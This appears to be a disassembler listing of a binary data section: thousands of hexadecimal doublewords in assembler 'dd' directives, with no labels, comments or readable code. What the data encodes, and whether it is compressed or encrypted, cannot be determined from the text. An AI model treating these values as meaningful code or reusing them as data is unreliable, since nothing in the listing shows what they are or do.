		dd 0F5804991h, 0B5DAF15Bh, 5FF38912h, 0ECE0900Ah, 45337B89h
		dd 610EE410h, 0F422E3FEh, 1F1DB0Fh, 0D16A1DA7h,	3C3C1549h
		dd 8C46BC68h, 0AF1F927Bh, 6938FC10h, 5B709122h,	198490F1h
		dd 0A91C3D13h, 9400174h, 0FF5AB450h, 4F2B9F0h, 0C35CAC67h
		dd 20FF87F5h, 4BC85481h, 27CC314Dh, 44F4C7E5h, 79876246h
		dd 88398294h, 0EC070AB8h, 0F4CF2F05h, 0ACC11188h, 0BED8037Ah
		dd 5EF8B6BDh, 952C4346h, 79F104A4h, 5B38F8C1h, 4423582Fh
		dd 2C014E26h, 0FFAC9734h, 0C2133028h, 239C3A15h, 18D2160Eh
		dd 5CEB614Bh, 8F70A800h, 4139BB8Ah, 0A4E2E05Bh,	0C1B202A8h
		dd 255C0B1Ah, 0CE480440h, 1D2A8D80h, 42F1C9B4h,	0A35A3B37h
		dd 465E20D4h, 51C0014Ch, 78655D7Ch, 2A3060C6h, 0F48F488Dh
		dd 4F905A10h, 0E911088h, 89F0B44Dh, 48025440h, 490E2116h
		dd 0A373E7F1h, 0EF874E2Bh, 0E588029h, 14832C48h, 505F2685h
		dd 8C4BB8h, 0CDB57C2h, 8050AE3Ah, 0EB014C00h, 5983AA46h
		dd 241A9D8Dh, 465E8876h, 0E60C7310h, 793EB528h,	75180043h
		dd 6862B840h, 0E70CDB03h, 2145B464h, 4680002Dh,	79852FDCh
		dd 1200D70Ah, 1C42A150h, 4C04A409h, 9C10CC4Dh, 0F0B3000Bh
		dd 626A1808h, 99CB7CDFh, 18497904h, 0E3E83EBEh,	0F90068C8h
		dd 0B8A3B18Fh, 932DDFBCh, 3C1C4808h, 0C92D8CDBh, 645467CDh
		dd 4E5F604Ah, 4FB10530h, 808453A0h, 0D8E9DA6Eh,	1DC1B007h
		dd 93A417EEh, 28B220D5h, 8C3048F2h, 0E99B2CC5h,	845444D8h
		dd 8570D1EAh, 0B85069F2h, 0F5B10017h, 5D71EF44h, 56123D52h
		dd 30A17BE8h, 6E4F5C6Ch, 0D16B02A8h, 0D667E88Fh, 8B36139Ch
		dd 0C0DF88E0h, 0F3D0552Ch, 2501189Eh, 2BEFD707h, 16836424h
		dd 44154B4h, 0FD2C2348h, 0A6AD21FCh, 40BD650h, 40D8C423h
		dd 0C03A84B0h, 2A8598D9h, 1491F44Fh, 0C31844D9h, 0BBF1BA02h
		dd 74F704B7h, 0E8880938h, 6D04E458h, 87513ED3h,	4C41A0A0h
		dd 2F81707Fh, 822BD060h, 8869828h, 0E4C52B5h, 1DF8A31h
		dd 0C18E4B01h, 0A0042BF4h, 233EFB42h, 0EA83074Ah, 0BBD900FEh
		dd 0D662A887h, 56CB27B0h, 0F8472D98h, 8D631464h, 6BEAC88h
		dd 0B38F1613h, 9E7A2821h, 354B430h, 841DFDC3h, 0D0B889F5h
		dd 70C245D7h, 4D358A58h, 56DEC024h, 0EF88A3F0h,	74ECBE5Ah
		dd 0E9024B47h, 60EA77A1h, 8A1040F3h, 0C814CAD3h, 6BF3C04Eh
		dd 5B01B272h, 29DD8BE7h, 9C54491Ch, 13F248B2h, 2D7F330h
		dd 0BF46C426h, 88A0D418h, 0D599ECA1h, 0CC72A02h, 7CF356D6h
		dd 4690DC1Ch, 3CA7662Eh, 0B7A3BA0Bh, 427584DCh,	5774887Eh
		dd 24E08810h, 0F47FF912h, 550B046Ch, 97990A5Eh,	814B914Ch
		dd 5AB79DCh, 2E4D4E8h, 548A84C0h, 20D0B7F0h, 7CEF853Ch
		dd 1035C334h, 9AF7D8F8h, 7898A380h, 0AA009841h,	0F37A9366h
		dd 5EB7BC13h, 806C85B4h, 2EF9E920h, 89D85125h, 80BC37D0h
		dd 697EE3Ch, 0B8BC3210h, 7D787849h, 0D9CA5BF7h,	0B23872D8h
		dd 8F423017h, 5C59F00h,	82D4E48Dh, 883038ECh, 0C2640CDEh
		dd 0FE8C1C58h, 838C138Eh, 3B0C387Bh, 0E8E8001h,	0E6315FBCh
		dd 7C6896EDh, 5A8CDFBCh, 0F8C8C0A8h, 7700F24Bh,	9911D3Eh
		dd 5CBEBBE6h, 2302DCEAh, 3948EC85h, 89C7F080h, 1D058EF2h
		dd 0DFF4B7BEh, 0C0689819h, 0FC285AE1h, 69DAB818h, 8725BC2Bh
		dd 0E4288EC4h, 10F4B4DBh, 0DCE89C5Bh, 1FE68200h, 56789B46h
		dd 0F8849D31h, 9B1652h,	613C9280h, 88176249h, 0CD015B0h
		dd 0C991AAEh, 3CB52785h, 0BC0020B9h, 32166174h,	12732851h
		dd 0F6362185h, 0C46FB01Ch, 18D1091Dh, 68022975h, 0B85AB5DBh
		dd 98BC0927h, 885E7738h, 0B078551Dh, 0F41C967Ch, 83EFEC25h
		dd 5B37B618h, 0C8E48E30h, 0BCDBC011h, 930B5EDEh, 0C260E483h
		dd 52E42B2Ch, 2C900B24h, 84717C42h, 0BA67DD40h,	0A5BB124Ah
		dd 0F25CA2E0h, 3E5A3042h, 2D5C69E5h, 0EB3844BFh, 7040BBD1h
		dd 4EEF3383h, 23302E9Ch, 5D240048h, 0DC80BA7Bh,	9C12E4BCh
		dd 42A278E3h, 3CBABE30h, 98249DC5h, 400DC68h, 0E30179B0h
		dd 3BB85861h, 0F45028F4h, 30490B15h, 2050489Ch,	6B985Eh
		dd 2B5C5A2Fh, 29DA5E0Eh, 3A0C8BEh, 80704AB4h, 4B935BE4h
		dd 421D7F01h, 8D23892Bh, 0ACF3C4EBh, 0F3047A2h,	0B0510118h
		dd 0B3B8A6C1h, 22547CDDh, 0DC819F14h, 504208B4h, 6338EC08h
		dd 6BBC4082h, 40418249h, 5800F66Ch, 5CD7F6D0h, 16ECA8E2h
		dd 1B29008Ch, 40B611B3h, 5400BB6Fh, 37BAB060h, 279F2E3Bh
		dd 0ECA78442h, 166CFA3Dh, 0A940F41Ah, 3C35AF0Eh, 0CC140059h
		dd 2443DCBFh, 53C258Ah,	0F89C7F32h, 0B59925C0h,	85B68790h
		dd 0E47DF078h, 5099744h, 2B98A95h, 43B56B4h, 8F9088B3h
		dd 0D01C7B00h, 3135112Ch, 4CE0FCF2h, 0D8F58B4h,	9AF4DDE0h
		dd 0BA2C3F87h, 0B878D8C9h, 4D30422Dh, 0F0DBAD48h, 7DB38F3h
		dd 0D05658C2h, 17E04AFFh, 0D400E4E3h, 60178F00h, 7BF9EB6Eh
		dd 0C9CC6012h, 9F5DF131h, 90DD605h, 0C0057B4h, 88B2F3BEh
		dd 46F22640h, 0B3090688h, 48EB210Ch, 1F606BD0h,	0BA793A2Ch
		dd 3C71F97h, 669F0080h,	0FF686447h, 0AC421538h,	1C0B4CB1h
		dd 67244F61h, 0D63F7695h, 0C33C7F0Eh, 5AA0144Ah, 4A23203Bh
		dd 6E8E4500h, 95325EDh,	189CD220h, 1C0AA452h, 8880592Bh
		dd 928DF100h, 0BC2707B8h, 0EE0960B8h, 970EC0C5h, 1646F534h
		dd 4AC8708Bh, 4B6655C1h, 5970CFCDh, 949C4C03h, 2D190810h
		dd 308C44B3h, 79A1DE17h, 2800EB85h, 0D9485155h,	5BE8DAh
		dd 931F755Ch, 23DBBB80h, 6230E412h, 0C02A3C0Bh,	59BFF574h
		dd 215B6C2Fh, 6ACBA650h, 4823043Bh, 0E33E2600h,	7CA986D4h
		dd 748F1292h, 0B2A0A3F9h, 0BB53046h, 0DDA74E02h, 0C00C5830h
		dd 1833D100h, 58CD7887h, 670A89BFh, 0B8EC6A4Fh,	54003611h
		dd 442D2F91h, 4A2E1276h, 6080B081h, 0BF598B25h,	9BE82754h
		dd 0B0E31001h, 943B7FCFh, 22004623h, 0F9248BDAh, 23545B3Eh
		dd 0E7BA87E8h, 350F009h, 0A3B221B9h, 410039E3h,	0D2A7956h
		dd 56CEFA9h, 174EE742h,	23983A6Bh, 3A8C0045h, 0E3FBE94Bh
		dd 0CC84404Eh, 6B5BB0FDh, 4EF700ACh, 87088818h,	9D1173Dh
		dd 0EE8C20B7h, 45412BEFh, 0AABC643Fh, 253BF06Ah, 9C1E5681h
		dd 0CC5CC78Fh, 3896D40Ch, 0CDF6273Eh, 0F22C0FCh, 0C29763BEh
		dd 14C47E00h, 5DC1D03Dh, 78F0D0B7h, 0BC838700h,	0A0A95695h
		dd 54BC744Dh, 28DDA800h, 0EF5386E7h, 0B8092DEEh, 0D0848812h
		dd 2508BC60h, 244418h, 889AC424h, 0B374AEA7h, 5DD3E3A0h
		dd 9212B900h, 0B46582Fh, 1E4F2C55h, 48467470h, 2063EF00h
		dd 0D4B0B962h, 0D1EC80A0h, 96812E80h, 0AFBD86E8h, 7CB4193Ch
		dd 486E976Eh, 570AA17h
		dd 0F557D424h, 0BB9820C8h, 956A1901h, 0A0DE2D56h, 23142F7Fh
		dd 0B5800FE4h, 94B8C402h, 0CE91ACD4h, 0C07B9C25h, 3E8F858h
		dd 22EE5AF1h, 5DDAAD04h, 17B788D8h, 8248911Ch, 0FE50199Ah
		dd 0C900493Ch, 92165D2Fh, 57829C91h, 0AE284C68h, 0AEEE20C0h
		dd 0BEA9D336h, 0E4972774h, 4E804591h, 5805130h,	463CE416h
		dd 583DC8A2h, 0B80D8892h, 0C0CE5AA4h, 0C8C04588h, 385FE935h
		dd 6989EE60h, 88CD87F3h, 0B88461C4h, 34873081h,	86F05h
		dd 0D428CC53h, 0B5EBFF83h, 0A3CB019h, 47A27842h, 12BF30h
		dd 9778E13Dh, 3807F054h, 4A84C695h, 0E2E4E358h,	19A43014h
		dd 8803C077h, 0C854696Ah, 8060F663h, 95E440B0h,	8FBCB0C0h
		dd 17DEA020h, 8378D25h,	17ADE3CCh, 80E4913Ch, 2D102F8Ah
		dd 0B44301B3h, 4B3E63D0h, 48742E6Eh, 0E39D008Bh, 87BBFE02h
		dd 8A2869DCh, 0D2B8143Dh, 5B42473Dh, 0C500887Ah, 0ED776EC4h
		dd 9B03B93Fh, 173DDBF1h, 0E36900E0h, 964758A4h,	0E13E047Fh
		dd 7AD3005Ah, 8DD233F9h, 552A03B1h, 0CBEFFF25h,	6CF4B0D5h
		dd 8BE428F1h, 0C4BC4750h, 0F0C06014h, 57D3006Dh, 5C21D7E2h
		dd 0D940B487h, 0D162EA8Dh, 7BBCC4D1h, 0FF7A9300h, 9C87BCA9h
		dd 1FB0B1DCh, 0C20581F3h, 6AA61572h, 0DCBDF452h, 9F0657B8h
		dd 0C68E8D4Fh, 20AE97A6h, 36B17EE2h, 49793CD1h,	38012318h
		dd 20DF1467h, 6830F336h, 0AD3A414Ch, 71037C0h, 0E0E0ECC7h
		dd 0B17842D4h, 0B0496B0Bh, 2841188h, 37412034h,	5791667Fh
		dd 0A3174F29h, 3142F288h, 0AC202F1Eh, 149E34Ah,	0A23469A3h
		dd 0C0CF43BBh, 2413567Bh, 1891E4F9h, 203DB5DAh,	58EC2304h
		dd 948C164Ch, 18CC2D2Bh, 2071BCE2h, 6E1848D1h, 993F8C3Eh
		dd 92194355h, 7E04307Fh, 58715B33h, 4880405Ah, 0C9608941h
		dd 68793D21h, 0A0B7BD02h, 67B40ADFh, 0ECB86027h, 0C700CFF4h
		dd 389EA83Bh, 88D9DAh, 8D337F39h, 0B4320361h, 641DC006h
		dd 9F97A42h, 2A568CFAh,	0E11B01Dh, 0EC1DB981h, 56447438h
		dd 0C047E827h, 5EE48364h, 0FD88C5C0h, 1B7B8C8h,	71D7A06Eh
		dd 0E4B8990Fh, 0E4F6BCB6h, 528040F5h, 0A1B52480h, 0EED0AFA0h
		dd 33C6BA01h, 304CA268h, 6975D558h, 7DF46C01h, 8D088BAh
		dd 7417E072h, 1AA890F6h, 0B4195606h, 9D40F1D2h,	546B7Fh
		dd 8DE5EA70h, 41742A2h,	1FF05721h, 0D2850E61h, 70AC5812h
		dd 0B81CA9D3h, 41D500D2h, 4DB3D610h, 50373E3Ah,	0EAF48935h
		dd 0F01CB2C2h, 6050B414h, 6C718A95h, 0CC9CB3F4h, 5F80AA9Fh
		dd 2185D8FFh, 983142Ah,	5B2550BAh, 4EE40445h, 0D0956D61h
		dd 0FD0C03EAh, 483906F6h, 0BE10FCB7h, 685F4188h, 87FC21ACh
		dd 4ACF7AA9h, 0C0C46D09h, 481D39E6h, 5E750E09h,	38D1DCh
		dd 377DF1CFh, 0CD002F71h, 0DBFFD8ADh, 0B78CCC03h, 662A1000h
		dd 0E450B0AFh, 8B4BB294h, 0E88ACCEh, 0BA8A92C0h, 0B2834EBDh
		dd 578F1348h, 60A6780Eh, 0C28AA0D5h, 0BF442469h, 68972700h
		dd 0ED801591h, 0F905713Dh, 0C8049207h, 0D0047FBCh, 444B8C9h
		dd 0A97434ABh, 0E8A0B864h, 0E8F70506h, 28F2177h, 742B97D4h
		dd 81523E02h, 22859828h, 0ECD006D1h, 9D4E5ADCh,	0A2403384h
		dd 61343015h, 0B909F47Fh, 763A4501h, 0A97540D8h, 0D0F81AC7h
		dd 0BB39403Fh, 3DEE8E8Ch, 92AC277Ch, 60DBB051h,	5F2A9CCh
		dd 1DB48EBCh, 0B1BCA801h, 2909FE88h, 29BA860h, 89951F5Fh
		dd 0C841D73Fh, 0E0B31039h, 0B8261616h, 809C3C60h, 75CC5020h
		dd 10603057h, 0D4B7BB20h, 0BA026094h, 561AE868h, 49467624h
		dd 16738D00h, 2FF0568Eh, 68C83751h, 489BD270h, 0B7DACC82h
		dd 508B8C4h, 2D33C8ECh,	0F9599425h, 265BECA8h, 3ABA1694h
		dd 4EC4015Eh, 2B3189F0h, 885DF088h, 0FC12B898h,	34161BF3h
		dd 13C814CEh, 194518C0h, 50941CBDh, 0FCC28BF6h,	98805459h
		dd 0C65C067Bh, 3E645BE3h, 4523A8h, 7DEF74Ch, 5A1CB4C1h
		dd 0CB911235h, 7B992B00h, 0B9877D0Fh, 0DFFD1A00h, 0D0589077h
		dd 454F4BAFh, 0A8700278h, 0BF32C2F0h, 1168C0D5h, 0E28D4A28h
		dd 749922C0h, 845013F1h, 0D300AD71h, 0E5B2E8F2h, 98ADA730h
		dd 54F4040Fh, 88C48345h, 991F5BFCh, 828981B9h, 40CC7C5Ah
		dd 0A86EC38Eh, 4A65D012h, 803CB408h, 0F8DBB182h, 0B0000139h
		dd 3E54AE4Ch, 2B298FCh,	528D71D6h, 0D4605B90h, 1880D43Ch
		dd 38492E6h, 7363094Ch,	0BEAA8182h, 74A644F6h, 0BC106760h
		dd 25B609C9h, 8C4054ECh, 0F4B0E329h, 694048BCh,	17A824Dh
		dd 55D4B2ADh, 0FC155953h, 245A875Ch, 0C9BA8400h, 273E6B17h
		dd 7C89318Ah, 0DCD4DEh,	0A4C64D67h, 5809DA0Eh, 0CFC8016h
		dd 0FB0524A6h, 0FD5CE0EBh, 105C4C30h, 164E55A0h, 80289B7Ch
		dd 0EB62BF96h, 0A4174B52h, 4C1E6E34h, 0CBEC25E6h, 0F871390Ch
		dd 8DE740C8h, 99178C9Eh, 28D820DAh, 1D012509h, 41F44918h
		dd 0C029A35Ah, 0D62C50B8h, 39114012h, 2897BB06h, 0CC80A8EFh
		dd 0EE754A25h, 98D7E002h, 591E4F54h, 184379ACh,	9C974C4Ch
		dd 4A44E310h, 4C13861h,	8034E311h, 4173B139h, 10FCEC6Fh
		dd 5F4617C7h, 0DFC84C9Ah, 0F0570AC0h, 503962D7h, 0F2822FAAh
		dd 2F5D343Bh, 8BF00320h, 488C74Bh, 0FDEDE9DAh, 0A5B2218Ch
		dd 0EA40D44Dh, 0B12C2C9h, 0B2DADC87h, 0FC9EECE4h, 13474676h
		dd 1008F37Fh, 5B8F80DBh, 0AD0EA161h, 6959EE1Fh,	4193803Fh
		dd 56904F24h, 6BA4BC25h, 0F36720EDh, 0E660BC17h, 28ADE447h
		dd 20F07F96h, 59014283h, 8FBC8EBAh, 2821E0C0h, 8C1CC53Eh
		dd 0F6006EE8h, 0C357597Ch, 1647D5ADh, 0B76F1069h, 2529B190h
		dd 451CD22Ah, 2AE5204h,	1A788B4h, 78EB5BF5h, 0D7004FA9h
		dd 0C52AF4BFh, 5816612h, 0B99733EEh, 0A4E7EB07h, 6D25FA0h
		dd 0A1BD8907h, 83631430h, 0E68180C1h, 917D0128h, 419D017Fh
		dd 3B1E811Dh, 3F860FD9h, 97FDD0ADh, 801D9186h, 0AA6880BDh
		dd 93050019h, 666E1196h, 291FD98Ch, 6C32798Dh, 0FCD40F6h
		dd 0FFD15B84h, 0CA5F960h, 12EC00B5h, 95FF5F8Fh,	36D02E45h
		dd 8C1CE8B1h, 5499C900h, 7762DDCDh, 0AB0E5EE6h,	15587840h
		dd 13DCC42h, 1EEEB8EDh,	6F0F8385h, 7677EDh, 1147D850h
		dd 45DFBF8Dh, 0A95E5238h, 17D1CB5Bh, 56B80B18h,	0B5198BE4h
		dd 2BD81C05h, 817BF5F2h, 0BBAF458h, 57297F76h, 1B97E877h
		dd 893A0747h, 0D0AB6DD9h, 0BF0F7204h, 3DBAFA61h, 0DD8D0834h
		dd 20351186h, 6639D71h,	503DE990h, 40351F17h, 0C0528B0Bh
		dd 3114E253h, 2BE96EC1h, 0B6ACAA00h, 0C4F5FCB0h, 0C8A86D00h
		dd 22F4F229h, 0F440701h, 27FE8B20h, 8ED844C3h, 0C0178843h
		dd 0AE1D93FAh, 0BD958918h, 3085C7D7h, 330C2A05h, 3A0CCE5Dh
		dd 3B01830Fh, 80E2DCFCh, 52B6BFF0h, 810C2273h, 341AA5BDh
		dd 175192D0h, 0AB30850Fh, 5480449Eh, 77FDA53Dh,	85FF4B14h
		dd 0FA663031h, 0A3AD9509h, 0B5F5CFA2h, 0CE810F41h, 8A203885h
		dd 17116069h, 31F2C2BFh, 151DBD32h, 33DAD790h, 0A7F37100h
		dd 4E223B3Fh, 0D0540FC6h, 1B204746h, 6D178251h,	2EEF695Bh
		dd 3B1B239Ah, 0F92AE180h, 9133D8DCh, 7D83E291h,	32EE7E3Ch
		dd 0F2D8E432h, 58FCDBDFh, 3760AFE6h, 9D29F042h,	52154905h
		dd 0D8391122h, 24C00043h, 8D815B08h, 0B5401AFh,	0C5F57F72h
		dd 886F4B71h, 0A82DC01Dh, 4B028E88h, 689D9265h,	8462B5A1h
		dd 8EBF5FF7h, 0C2158865h, 0DAD70D05h, 2FAE05CDh, 0C3EFF7Eh
		dd 0F806F389h, 88E65EC1h
		dd 0F86E287Dh, 8C1DB815h, 0CFB3A000h, 0D50F1FEFh, 36080399h
		dd 0FFF839E9h, 58E6BE8Dh, 0C44F01B7h, 38E9F4FFh, 0C18BF816h
		dd 8889CBEFh, 8C9C019h,	0D816CF46h, 0C7EEEBACh,	0CD770B38h
		dd 6C0160AFh, 0E1007BECh, 831E448Ah, 5AFDB531h,	8F05FE1Bh
		dd 388F0F99h, 84C01D88h, 0EEC434FEh, 8A230465h,	809076DEh
		dd 508B27D4h, 21E10AC4h, 0E29CD398h, 6E62000Ah,	0A310B152h
		dd 73003075h, 0FCA532E6h, 4C3D0918h, 15EC396Ah,	42703E8Ch
		dd 0E86BC782h, 51F76019h, 1816D19Ch, 0DA752DEDh, 0AC9FA0F7h
		dd 14AEA7h, 6051EF41h, 0F5E5F61h, 0C7048722h, 0A2386CF0h
		dd 0B080F9B7h, 6180EC0h, 1AC466A5h, 42944F60h, 3802157Ch
		dd 0DDBD2BCDh, 3259F503h, 0C9D66380h, 0AD529E5h, 5C08393h
		dd 194674E7h, 8AF35E00h, 902E070Eh, 1F810F34h, 52599E1Ch
		dd 0E91112EAh, 0A30B800Dh, 0F49F975Dh, 0DBB600F9h, 0A10E7C14h
		dd 31280F3Eh, 0BC0314E8h, 8488EEBAh, 3917F03Fh,	622315FDh
		dd 5A0AA50Dh, 0DED59058h, 178BE80Eh, 5EFB6252h,	0D08F9B51h
		dd 1F37B66Dh, 0B0AA0DF5h, 3ABE6660h, 4FC6FF9h, 608C1BE8h
		dd 0D8E91F19h, 53B074B6h, 241A7120h, 4B198A0Fh,	7917D03h
		dd 84861921h, 263DBDh, 0A8FC9D8Dh, 7F29FF17h, 182C30B8h
		dd 0F6019ADDh, 0D3FF8CD1h, 0ADC0BD7Ah, 23915FCh, 87C41763h
		dd 59918B0Fh, 0E4E3A611h, 44236D08h, 80D82F8h, 0B5895120h
		dd 56494B9h, 569DE95Eh,	0D498EBC7h, 938E92CAh, 0C81679BAh
		dd 790283EFh, 0F42A12Ah, 580B5288h, 358023E9h, 0CA5FDCE6h
		dd 86E170B9h, 5A090189h, 0F9C0DC05h, 0B601E485h, 100574B3h
		dd 4010A98Dh, 84F5EDFFh, 1AF99D0Dh, 0E381F743h,	28CC7B86h
		dd 5C0B1D19h, 0A921BBDBh, 17514BA1h, 0A3144318h, 22DB62BEh
		dd 168376B5h, 0EF180C5Fh, 972217D4h, 4D432010h,	980079B1h
		dd 0F0A8E50Eh, 251C459h, 0D71F07F5h, 5BDF9FE9h,	0EA19006Dh
		dd 1C12FF7h, 0BB3C6973h, 0FE6382CDh, 8D85C799h,	7A88ED3Ah
		dd 0C5A80481h, 0E9CB800Bh, 0FBEFD773h, 39985A40h, 9D090B08h
		dd 4CD72551h, 349D9082h, 24182981h, 88AFDA4Ah, 90F0C01Bh
		dd 0E90A969Bh, 0A455E7EAh, 2FE0AE67h, 1F489720h, 0C0C73EEFh
		dd 5D7291D0h, 8D48CE90h, 0B43AD607h, 0F10A1523h, 0B909EFCEh
		dd 0CD361009h, 23818018h, 73FEFF39h, 0DE8C0F3Dh, 0C6460FBh
		dd 0EF07A424h, 7980345Ah, 80BD8E19h, 77BAD763h,	12D9FEAEh
		dd 44DB8C66h, 0E0C3F6F1h, 4B8B2163h, 0B593016h,	0BEAAD9B5h
		dd 4007E104h, 0BA66B99Fh, 3AE52690h, 24040066h,	0D4E9F18Bh
		dd 5D00F7D2h, 3FBA2FCCh, 48E6E0B0h, 14E80570h, 0E4E2168Ch
		dd 23803A71h, 8ADE001Ah, 2620980Bh, 0B60F440Bh,	148D7D8h
		dd 4600F8D4h, 6C45C03Fh, 0C5692B0h, 2B9DBD0Bh, 0BA485FF4h
		dd 9ABA9729h, 0F1D5C0ACh, 3F4E59FAh, 77947AF3h,	522B948h
		dd 0B1FCBE01h, 0C38B33FEh, 41B8C23Dh, 0BEDC7100h, 5F6D31E6h
		dd 4E825C1h, 0E800A537h, 0BCDC2A6h, 234F0135h, 95893AB4h
		dd 0FF6389Dh, 23E2F766h, 122D09BDh, 3AD82B12h, 1C2378h
		dd 0C498DFDCh, 7C0B1F66h, 8689ADEBh, 0C45816B0h, 0F34C576h
		dd 241CA550h, 0EFE78880h, 672D9C48h, 0C5C6B060h, 63023172h
		dd 7DE6B966h, 86347161h, 0B3398509h, 879447ACh,	61D81FD4h
		dd 0C0E6817Fh, 452B0822h, 5D42587h, 12800F55h, 81FD802Ah
		dd 0DE0034D7h, 613C360Ch, 4D40830Fh, 4A519E02h,	0ACC3B97Ah
		dd 29300632h, 7E2161BDh, 0BA99BA72h, 17181AF9h,	1884101h
		dd 8BD66D72h, 477BF5E6h, 12C5558h, 33A86EF8h, 35BD9D89h
		dd 6B4D5422h, 0F76D012Ah, 0A8126788h, 90204325h, 431C4911h
		dd 23902E96h, 0CBE3AC14h, 1AE97402h, 0BF665800h, 4499794Dh
		dd 1012E50Bh, 70055F7h,	9E97C623h, 47ED6C2h, 1D015656h
		dd 0B6708E91h, 4874FE84h, 89EC0F62h, 3384D910h,	0B3ED3912h
		dd 0F016237Eh, 3401B768h, 8650BD6Fh, 2BF2DCEEh,	0DD587844h
		dd 6E2EF415h, 13001B23h, 728CBA6Ah, 0ACF8240Ah,	3F10B97h
		dd 5BCE69DFh, 29B96Fh, 8B1336DEh, 34AC90h, 352AF542h, 0E9C51D48h
		dd 37C32B27h, 36CB00A9h, 0C0DE8CC6h, 0B718EA01h, 26598589h
		dd 2F38A605h, 193D7D5Dh, 6D1F500h, 287F6Fh, 3EF09798h
		dd 0E9F7B70Fh, 0A02D3857h, 7127515h, 7181579Eh,	0BF39551Ch
		dd 3D6187B4h, 6B840C36h, 0C2C08BFFh, 0DDABE1B4h, 6341554Ah
		dd 0BF00E271h, 5C7CE169h, 0B518AD66h, 139D1620h, 427E9135h
		dd 52CE2DA3h, 0C827CE17h, 602FC014h, 0AD5B858Bh, 6661DA0Bh
		dd 0DCF39E30h, 304C38h,	0DDA731D2h, 166CBF84h, 646615ACh
		dd 6AB222h, 8B1D5EB1h, 0F80B2Ah, 77D4F147h, 0BE66BA18h
		dd 5F59CE76h, 8D0F842Dh, 9EFBF7D8h, 9FB70B97h, 0CDF1E786h
		dd 2D5CE9F2h, 0AC0F3F34h, 0C8B66FEh, 0B44DD5ACh, 82C6296Eh
		dd 5919A5FEh, 0B03727DBh, 0B8D52C3Dh, 6409510Bh, 0B3837D6h
		dd 33A969C2h, 7E8052B7h, 9B32BEA7h, 770C4987h, 0ABF5FC17h
		dd 42C145DAh, 0D813F33Dh, 0D554B52Bh, 1F01BFDFh, 90ED049h
		dd 0C665E9BDh, 22F3B403h, 0E4C421C2h, 0F5092AA9h, 200C6884h
		dd 0C22B05BDh, 8E98D27h, 824679F7h, 0F6D7BFD5h,	6B238640h
		dd 0F971D400h, 0AF12CC09h, 5E8A3BA3h, 25CDB58Ch, 40B66E3Bh
		dd 10755C31h, 52E1BE00h, 607F7E17h, 0C26A9AEAh,	59FBA950h
		dd 371A00D6h, 7ED77729h, 1E01AFE4h, 0C58C8394h,	192CB922h
		dd 0DC56B472h, 0AFE35B01h, 9CA98B4Ah, 40C13960h, 8D2D2131h
		dd 0DA3A8A75h, 8AD79D13h, 2C7D9561h, 2893E025h,	0DB988431h
		dd 72ADCED0h, 33F04801h, 0BBD85E79h, 884FB818h,	264BA41h
		dd 833D2848h, 456201E1h, 0D8DD871h, 47149D23h, 0EDE646A6h
		dd 822D520h, 100D8D29h,	54BD3D22h, 0C0372D16h, 2E00FC1Ch
		dd 0CDD0A128h, 0BC710B21h, 0CDDF6061h, 0C09160F7h, 3C505A67h
		dd 3F2ECAA2h, 3A606722h, 0F8BB3872h, 8E90049Dh,	9D83DBA3h
		dd 0A848291Bh, 0DE79268Fh, 9D71248h, 0E08BC900h, 0C0FBEDF5h
		dd 667430A0h, 2A9DB818h, 0BD0E2D50h, 2DE95D4h, 0B2A57066h
		dd 0D4602D90h, 0C906DD7h, 0D91AC923h, 21002356h, 3035A521h
		dd 7FCD8E05h, 55D19F0Eh, 9D310977h, 0A78570E9h,	0F5BD0473h
		dd 5F17140Bh, 86001A6Eh, 3D4CB49Dh, 9A3EC76Dh, 800F1334h
		dd 7F3DBACDh, 0D94C1353h, 41156D10h, 5F8339D0h,	5F4C27ABh
		dd 1230A585h, 3065A512h, 0EA6D13AAh, 0EC1E38EAh, 583094C0h
		dd 9A532174h, 880C2190h, 81000249h, 0C304F9DAh,	4678D077h
		dd 0D7B81F5Dh, 7C170B01h, 26949323h, 73BEC0h, 600AE4ECh
		dd 14B18D33h, 850F9499h, 1B69251h, 9A449600h, 5AECBD93h
		dd 0CB15D300h, 7303488Bh, 7143E84Bh, 2C6AA961h,	893739A7h
		dd 0A740B00h, 5016D42Ah, 0EBC5CCCEh, 4830C648h,	5E4920A1h
		dd 0ED1FEABCh, 78815C6Fh, 9E11864h, 42AD7Bh, 0FF60B6DCh
		dd 0DFC9A0h, 0A50DFE6Fh, 0AD6D734Dh, 0A8D65005h, 12C1578Bh
		dd 31265EFFh, 20D9951Ch, 0D0DF8102h, 0C9238441h, 0B87E022Fh
		dd 0BEEBC303h, 0DBA0F07Ah, 0C84000AEh, 292F77F1h, 5491959Dh
		dd 4720B58Bh, 631764D7h, 0E6F9D88Bh, 0D72BB2F5h, 87DBEB86h
		dd 93DB1380h, 6E09D0ECh, 70B6C610h, 0B58909A6h,	0FA340315h
		dd 1F8D9537h, 0F7AD686Ah, 7B9B05A0h, 230A8AE6h,	22B99C41h
		dd 93CF2296h, 0A4CF1688h, 6881C6E4h, 0ACC761CEh, 19E7F8A6h
		dd 0C194002h
		dd 2A94E3DAh, 0C07BEDEBh, 65B79F10h, 60714678h,	5D2F9E98h
		dd 11E6AE0Dh, 20FD612Dh, 0D6F655D2h, 12AC03C6h,	5054464Fh
		dd 0B8A9DC5Dh, 0B03B0706h, 1995897Fh, 7EB99A1h,	5E33161h
		dd 0D3CB9B40h, 55953A80h, 80151FA6h, 2E6D27DFh,	0C0B122C0h
		dd 9DB700C7h, 8A14507Bh, 0C1008BCAh, 1C8F4FEBh,	3ABFA25h
		dd 0DAC6A108h, 0D4D0A4ACh, 0E4E25CD2h, 340ECEE0h, 0A11BF531h
		dd 0D129B327h, 0FDD5BE4h, 17E62AC7h, 87DF9E9Fh,	0AA6DB67h
		dd 87007C01h, 2352DDB4h, 0E19ED920h, 28AFE911h,	717E50CEh
		dd 552F0594h, 133D59B9h, 0D5A884B8h, 0C20903C8h, 44BAC704h
		dd 0DC76718h, 46AE2C32h, 0EBC00323h, 7D02BD81h,	14D560E8h
		dd 0DD8BB99Ch, 0D9C5F522h, 0D0311364h, 9D8D0004h, 0BBB55E0Eh
		dd 8A119868h, 0B45B1A10h, 0E03AAD8Ch, 1699AB9Fh, 0C15FB901h
		dd 0E18589F8h, 66A8C5B1h, 8D04ECBAh, 1B34F6F8h,	0DB841818h
		dd 7150CC49h, 8B579FAAh, 1CE25FD7h, 1B5D9282h, 88B3400Ch
		dd 0C400D281h, 505E0C76h, 33D61CBAh, 60376EC5h,	0F8D907C8h
		dd 0F56A2D62h, 89610018h, 6F9E359Dh, 6D4BFF1Fh,	802CBD09h
		dd 0DB6D34Dh, 8B69976Dh, 0DD034123h, 23E2BD08h,	0DE853FA0h
